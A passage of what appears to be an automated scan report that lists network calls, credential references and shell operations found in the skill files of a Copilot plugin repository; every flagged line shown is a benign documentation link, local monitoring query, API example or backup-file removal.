    curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name'
  • Network accessline 98
    # Query Prometheus API curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result'
  • Network accessline 99
    curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result'
  • Network accessline 101
    # Check targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 102
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 114
    [Credential-related source omitted]
  • Network accessline 116
    curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name'
  • Network accessline 124
    # List active alerts curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'
  • Network accessline 125
    curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'

harness/github-copilot/plugins/open-horizons-platform/skills/azure-observability-stack/references/troubleshooting.md

  • Network accessline 14
    # Check for scrape errors curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'
  • Network accessline 15
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'

harness/github-copilot/plugins/open-horizons-platform/skills/azure-pricing/SKILL.md

  • Network accessline 35
    GET https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview
  • Network accessline 38
    Append `$filter` with OData syntax. Keep `api-version=2023-01-01-preview` because savings plan data appears in that version. URL-encode spaces as `%20` and quotes as `%27` when constructing a full URL such as `https://prices.azure.com/api/r
  • Network accessline 107
    | URL | Content | | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. |
  • Network accessline 108
    | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billi
  • Network accessline 109
    | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. |
  • Network accessline 110
    | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing | Licensing options, M365 Copilot inclusions, prepaid and pay-as-you-go context. |
  • Network accessline 196
    - [Azure Retail Prices API](https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview)
  • Network accessline 197
    - [Copilot Studio requirements, messages, and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 198
    - [Copilot Studio billing and licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-pricing/references/COPILOT-STUDIO-RATES.md

  • Network accessline 3
    > Source: [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 4
    > Estimator: [Microsoft agent usage estimator](https://microsoft.github.io/copilot-studio-estimator/)
  • Network accessline 5
    > Licensing Guide: [Copilot Studio Licensing Guide](https://go.microsoft.com/fwlink/?linkid=2320995)
  • Network accessline 133
    - [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 134
    - [Copilot Studio licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)
  • Network accessline 135
    - [Copilot Studio Licensing Guide (PDF)](https://go.microsoft.com/fwlink/?linkid=2320995)

harness/github-copilot/plugins/open-horizons-platform/skills/azure-well-architected-review/SKILL.md

  • Network accessline 95
    - [Azure Well-Architected Framework](https://learn.microsoft.com/azure/well-architected/)

harness/github-copilot/plugins/open-horizons-platform/skills/backstage-app-frontend-system-migration/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/github-copilot/plugins/open-horizons-platform/skills/backstage-app-frontend-system-migration/references/upstream/SKILL.md

  • Network accessline 648
    - [App migration guide](https://backstage.io/docs/frontend-system/building-apps/migrating)
  • Network accessline 649
    - [Architecture overview](https://backstage.io/docs/frontend-system/architecture/index)
  • Network accessline 650
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 651
    - [Installing plugins](https://backstage.io/docs/frontend-system/building-apps/installing-plugins)

harness/github-copilot/plugins/open-horizons-platform/skills/backstage-mui-to-bui-migration/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/github-copilot/plugins/open-horizons-platform/skills/backstage-mui-to-bui-migration/references/upstream/SKILL.md

  • Network accessline 600
    Find more icons at: https://remixicon.com/
  • Network accessline 929
    - BUI Documentation: https://ui.backstage.io
  • Network accessline 930
    - Remix Icons: https://remixicon.com/
  • Network accessline 931
    - Example Migration PR: https://github.com/backstage/backstage/pull/31631

harness/github-copilot/plugins/open-horizons-platform/skills/backstage-onboard-to-openapi-server/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/github-copilot/plugins/open-horizons-platform/skills/backstage-onboard-to-openapi-server/references/upstream/SKILL.md

  • Network accessline 76
    - [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) — small, modern reference.
  • Network accessline 77
    - [`plugins/scaffolder-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/schema/openapi.yaml) — larger, with more parameter and schema reuse.
  • Network accessline 78
    - [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) — largest, good for query-param-heavy endpoints.
  • Network accessline 145
    [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) is the canonical example.
  • Network accessline 178
    [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) is a reference for what a client output looks like.
  • Network accessline 202
    [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) and [`plugins/catalog-backend/src/service/createRouter.test.ts`](https://git
  • Network accessline 216
    These all live in [`backstage/backstage`](https://github.com/backstage/backstage); the user's workspace likely doesn't contain them. Browse via the links below.
  • Network accessline 218
    | What you need                      | Where to read                                                                                                                                                                              | | ----------
  • Network accessline 219
    | ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Spec examp
  • Network accessline 220
    | Spec example (small)               | [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml)                                      |
  • Network accessline 221
    | Spec example (large)               | [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml)                                    |
  • Network accessline 222
    | Router using `createOpenApiRouter` | [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts)      |
  • Network accessline 223
    | Test using `wrapServer`            | [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts)                        |
  • Network accessline 224
    | Generate command source            | [`packages/repo-tools/src/commands/package/schema/openapi/generate/`](https://github.com/backstage/backstage/tree/master/packages/repo-tools/src/commands/package/schema/openapi/generate) |
  • Network accessline 225
    | Spec lint command source           | [`packages/repo-tools/src/commands/repo/schema/openapi/lint.ts`](https://github.com/backstage/backstage/blob/master/packages/repo-tools/src/commands/repo/schema/openapi/lint.ts)          |
  • Network accessline 226
    | `wrapServer` implementation        | [`packages/backend-openapi-utils/src/testUtils.ts`](https://github.com/backstage/backstage/blob/master/packages/backend-openapi-utils/src/testUtils.ts)                                    |
  • Network accessline 227
    | Client output reference            | [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated)                                                               |

harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-analytics-instrumentation/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-builder/references/official-docs.md

  • Network accessline 5
    | Topic | Official source | | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> |
  • Network accessline 6
    | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> |
  • Network accessline 7
    | Standalone Backstage app | <https://backstage.io/docs/getting-started/> |
  • Network accessline 8
    | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> |
  • Network accessline 9
    | New backend plugins and modules | <https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md> |
  • Network accessline 10
    | Legacy plugin creation reference | <https://backstage.io/docs/plugins/create-a-plugin/> |
  • Network accessline 11
    | Plugin structure reference | <https://backstage.io/docs/plugins/structure-of-a-plugin/> |
  • Network accessline 12
    | Composability and routing reference | <https://backstage.io/docs/plugins/composability/> |
  • Network accessline 13
    | Community plugin contribution | <https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md> |
  • Network accessline 14
    | Backstage repository contribution | <https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md> |

harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-builder/scripts/create_backstage_plugin_artifacts.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-builder/scripts/test_validate_backstage_plugin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-builder/scripts/validate_backstage_plugin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-builder/scripts/validate_official_docs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 13
    URLS = [     "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md",
  • Network accessline 14
    "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md",
  • Network accessline 15
    "https://raw.githubusercontent.com/backstage/backstage/master/docs/backend-system/building-plugins-and-modules/01-index.md",
  • Network accessline 16
    "https://backstage.io/docs/plugins/create-a-plugin/",
  • Network accessline 17
    "https://backstage.io/docs/plugins/composability/",
  • Network accessline 18
    "https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md",
  • Network accessline 19
    "https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md",
  • Network accessline 23
    def check_url(url: str, timeout: int) -> dict:     request = urllib.request.Request(
  • Network accessline 24
    request = urllib.request.Request(
  • Network accessline 25
    url, headers={"User-Agent": "backstage-plugin-builder-doc-check"})     try:         with urllib.request.urlopen(request, timeout=timeout) as response:
  • Network accessline 26
    try:         with urllib.request.urlopen(request, timeout=timeout) as response:             return {"url": url, "status": response.status, "ok": 200 <= response.status < 400}
  • Network accessline 27
    with urllib.request.urlopen(request, timeout=timeout) as response:

harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-full-frontend-system-migration/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-full-frontend-system-migration/references/upstream/SKILL.md

  • Network accessline 122
    For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo
  • Network accessline 550
    - [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating)
  • Network accessline 551
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 552
    - [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)

harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-new-frontend-system-support/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-new-frontend-system-support/references/upstream/SKILL.md

  • Network accessline 56
    For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo
  • Network accessline 425
    - [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating)
  • Network accessline 426
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 427
    - [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)

harness/github-copilot/plugins/open-horizons-platform/skills/cloud-architecture-best-practices-docs/scripts/validate_arch.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/open-horizons-platform/skills/cloud-design-patterns/SKILL.md

  • Network accessline 119
    - [Cloud Design Patterns - Azure Architecture Center](https://learn.microsoft.com/azure/architecture/patterns/)
  • Network accessline 120
    - [Azure Well-Architected Framework](https://learn.microsoft.com/azure/architecture/framework/)

harness/github-copilot/plugins/open-horizons-platform/skills/create-llms/SKILL.md

  • Network accessline 2
    name: "create-llms" description: >-   Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document r
  • Network accessline 3
    description: >-   Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure 
  • Network accessline 4
    Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure for LLMs, or add a
  • Network accessline 21
    - No root `/llms.txt` exists, or the user explicitly wants it recreated from scratch. - Repository structure is available for analysis. - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `
  • Network accessline 23
    - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `https://llmstxt.org/.` for migration checks.
  • Network accessline 144
    - [llms.txt specification](https://llmstxt.org/)
  • Network accessline 145
    - Baseline URL spelling preserved for migration checks: https://llmstxt.org/.

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-agent-blueprint/SKILL.md

  • Network accessline 62
    - [Azure AI Foundry Agent Service](https://learn.microsoft.com/azure/ai-foundry/agents/)
  • Network accessline 63
    - [Azure AI Foundry model catalog](https://learn.microsoft.com/azure/ai-foundry/how-to/model-catalog-overview)
  • Network accessline 64
    - [Foundry tools](https://learn.microsoft.com/azure/ai-foundry/agents/how-to/tools/overview)
  • Network accessline 65
    - [Evaluate generative AI with Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai)

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-agent-framework-py-release/SKILL.md

  • Network accessline 165
    ### Added - **agent-framework-<pkg>**: <subject> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))
  • Network accessline 166
    - **agent-framework-<pkg>**: <subject> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))
  • Network accessline 183
    **Entry format:** - `- **agent-framework-<pkg>**: <subject, grammar-normalized> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))`
  • Network accessline 184
    - `- **agent-framework-<pkg>**: <subject, grammar-normalized> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))`
  • Network accessline 242
    Two edits when a released-tier bump is in play: 1. Advance `[Unreleased]` compare base from `python-${OLD_RELEASED}...HEAD` to `python-${NEW_RELEASED}...HEAD`. 2. INSERT a new `[${NEW_RELEASED}]` line ABOVE the previous version's link: `[${
  • Network accessline 244
    2. INSERT a new `[${NEW_RELEASED}]` line ABOVE the previous version's link: `[${NEW_RELEASED}]: https://github.com/microsoft/agent-framework/compare/python-${OLD_RELEASED}...python-${NEW_RELEASED}`
  • Dangerous shell operationline 257
    rm python/packages/openai/pyproject.toml.bak
  • Dangerous shell operationline 266
    rm python/pyproject.toml.bak
  • Dangerous shell operationline 274
    rm python/packages/ag-ui/pyproject.toml.bak
  • Dangerous shell operationline 288
    rm "${file}.bak"
  • Dangerous shell operationline 308
    rm "${file}.bak"

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-agent-sync/SKILL.md

  • Network accessline 55
    2. Locate `infra/scripts/sync-foundry-agents.ps1` or `foundry-agent-sync.sh`; scaffold the PowerShell script when missing and adapt `$AgentNamePrefix`, `$ModelName`, and `$ManifestPath`. 3. Collect Foundry project endpoint, subscription ID,
  • Network accessline 56
    3. Collect Foundry project endpoint, subscription ID, model deployment name, and agent name prefix. Default model can be `gpt-5-4`; default prefix can be repo name in kebab-case. 4. Authenticate and sync with a token for `https://ai.azure.c
  • Network accessline 57
    4. Authenticate and sync with a token for `https://ai.azure.com/`.
  • Network accessline 74
    | Script path | Canonical path is `infra/scripts/sync-foundry-agents.ps1`, adapted to repository layout. | | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-p
  • Network accessline 75
    | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-preview'`. | | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o 
  • Network accessline 76
    | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o tsv`. |
  • Network accessline 84
    For bash in `Microsoft.Resources/deploymentScripts`, authenticate with `az login --identity --username "$CLIENT_ID"`, acquire the token with `az account get-access-token --resource https://ai.azure.com/`, iterate definitions from `FOUNDRY_A
  • Network accessline 114
    | Symptom | Cause | Resolution | | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. |
  • Network accessline 115
    | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | | `403 Forbidden` | Missing Azure AI User role. | Assign the role on the Foundry project 
  • Network accessline 116
    | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. |
  • Network accessline 148
    ### Commands - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/`
  • Network accessline 149
    - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - `<sync script command>`
  • Network accessline 150
    - `az account get-access-token --resource https://ai.azure.com/`
  • Network accessline 159
    - [ ] Manifest exists or was scaffolded with `useCaseId`, `description`, and `baseInstruction`. - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the
  • Network accessline 160
    - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the token is not printed. - [ ] Agent names are built from `{prefix}-{useCaseId}`.
  • Network accessline 161
    - [ ] Token audience is `https://ai.azure.com/` and the token is not printed.

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-ai-operations/SKILL.md

  • Network accessline 123
    # Test chat completion curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \
  • Network accessline 124
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]
  • Access to secretsline 126
    [Credential-related source omitted]
  • Network accessline 129
    # Test with managed identity (from AKS pod) curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \
  • Network accessline 130
    curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/csharp/claude-api/README.md

  • Network accessline 48
    **Write a plain `Program.cs` body** — `using` statements followed by top-level statements, as below. Do **not** add a `#!/usr/bin/env dotnet` shebang or `#:package Anthropic@*` directive: those are .NET file-based-app syntax and fail with `
  • Access to secretsline 108
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/curl/examples.md

  • Network accessline 1
    # Claude API — cURL / Raw HTTP
  • Access to secretsline 8
    [Credential-related source omitted]
  • Network accessline 16
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Network accessline 36
    # Capture the response, then extract fields response=$(curl -s https://api.anthropic.com/v1/messages \
  • Network accessline 37
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]
  • Network accessline 63
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]
  • Network accessline 102
    [Credential-related source omitted]
  • Access to secretsline 102
    [Credential-related source omitted]
  • Access to secretsline 104
    [Credential-related source omitted]
  • Network accessline 127
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 129
    [Credential-related source omitted]
  • Network accessline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 167
    [Credential-related source omitted]
  • Network accessline 190
    # Fable 5 / Claude Opus 5 / Opus 4.8 / 4.7 / 4.6: adaptive thinking (recommended) curl https://api.anthropic.com/v1/messages \
  • Network accessline 191
    [Credential-related source omitted]
  • Access to secretsline 191
    [Credential-related source omitted]
  • Access to secretsline 193
    [Credential-related source omitted]
  • Network accessline 216
    [Credential-related source omitted]
  • Access to secretsline 216
    [Credential-related source omitted]
  • Access to secretsline 218
    [Credential-related source omitted]

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/curl/managed-agents.md

  • Network accessline 1
    # Managed Agents — cURL / Raw HTTP
  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]
  • Network accessline 24
    curl -X POST https://api.anthropic.com/v1/environments \
  • Network accessline 38
    curl -X POST https://api.anthropic.com/v1/environments \
  • Network accessline 63
    # 1. Create the agent curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 64
    curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 73
    # 2. Start a session curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 74
    curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 79
    }' # → { "id": "sesn_abc123", ... } # Trace: https://platform.claude.com/workspaces/default/sessions/sesn_abc123  (swap 'default' for your workspace ID if the API key is not in the Default workspace)
  • Network accessline 81
    # Trace: https://platform.claude.com/workspaces/default/sessions/sesn_abc123  (swap 'default' for your workspace ID if the API key is not in the Default workspace)
  • Network accessline 87
    # 1. Create the agent curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 88
    curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 111
    # 2. Start a session with the repo mounted curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 112
    curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 119
    {         "type": "github_repository",         "url": "https://github.com/owner/repo",
  • Network accessline 120
    "type": "github_repository",         "url": "https://github.com/owner/repo",         "mount_path": "/workspace/repo",
  • Network accessline 121
    "url": "https://github.com/owner/repo",
  • Network accessline 133
    # Create a session with a hard $25.00 spend cap (list-priced; USD only; create-only). # amount is in minor units (cents) as an integer string: "2500" = $25.00 curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 134
    # amount is in minor units (cents) as an integer string: "2500" = $25.00 curl -X POST https://api.anthropic.com/v1/sessions \   "${HEADERS[@]}" \
  • Network accessline 135
    curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 146
    # Change the cap — higher or lower, but it must exceed the consumed list cost. # An accepted update resumes work paused at budget_reached curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 147
    # An accepted update resumes work paused at budget_reached curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \   "${HEADERS[@]}" \
  • Network accessline 148
    curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 152
    # Remove the cap entirely — one-way; a removed budget can never be re-added curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 153
    curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 165
    curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \
  • Network accessline 182
    curl -N https://api.anthropic.com/v1/sessions/$SESSION_ID/events/stream \
  • Network accessline 204
    # Get all events curl https://api.anthropic.com/v1/sessions/$SESSION_ID/events \
  • Network accessline 205
    curl https://api.anthropic.com/v1/sessions/$SESSION_ID/events \
  • Network accessline 208
    # Paginated — get next page of events curl "https://api.anthropic.com/v1/sessions/$SESSION_ID/events?page=page_abc123" \
  • Network accessline 209
    curl "https://api.anthropic.com/v1/sessions/$SESSION_ID/events?page=page_abc123" \
  • Network accessline 220
    curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \
  • Network accessline 238
    curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \
  • Network accessline 254
    curl https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 263
    curl https://api.anthropic.com/v1/sessions \
  • Network accessline 272
    curl -X DELETE https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 281
    [Credential-related source omitted]
  • Access to secretsline 281
    [Credential-related source omitted]
  • Access to secretsline 282
    [Credential-related source omitted]
  • Network accessline 296
    # List files associated with a session curl "https://api.anthropic.com/v1/files?scope_id=$SESSION_ID" \
  • Network accessline 297
    [Credential-related source omitted]
  • Access to secretsline 297
    [Credential-related source omitted]
  • Access to secretsline 298
    [Credential-related source omitted]
  • Network accessline 302
    # Download a specific file curl "https://api.anthropic.com/v1/files/$FILE_ID/content" \
  • Network accessline 303
    [Credential-related source omitted]
  • Access to secretsline 303
    [Credential-related source omitted]
  • Access to secretsline 304
    [Credential-related source omitted]
  • Network accessline 315
    curl https://api.anthropic.com/v1/agents \
  • Network accessline 324
    # 1. Agent declares MCP server (no auth here — auth goes in a vault) curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 325
    curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 329
    "model": "claude-opus-5",     "mcp_servers": [       { "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" }
  • Network accessline 330
    "mcp_servers": [       { "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" }     ],
  • Network accessline 331
    { "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" }
  • Network accessline 339
    # 2. Session attaches vault containing credentials for that MCP server URL curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 340
    curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 356
    curl -X POST https://api.anthropic.com/v1/agents \

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/go/claude-api/README.md

  • Access to secretsline 19
    [Credential-related source omitted]
  • Network accessline 151
    Other sources: `URLPDFSourceParam{URL: "https://..."}`, `PlainTextSourceParam{Data: "..."}`.

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/go/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for Go. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the Go SDK repo **or the relevant docs page** from `shared
  • Access to secretsline 23
    [Credential-related source omitted]
  • Network accessline 96
    } fmt.Printf("Session ID: %s, status: %s\n", session.ID, session.Status) fmt.Printf("Trace: https://platform.claude.com/workspaces/default/sessions/%s\n", session.ID) // swap 'default' for your workspace ID if the API key is not in the Defa
  • Network accessline 98
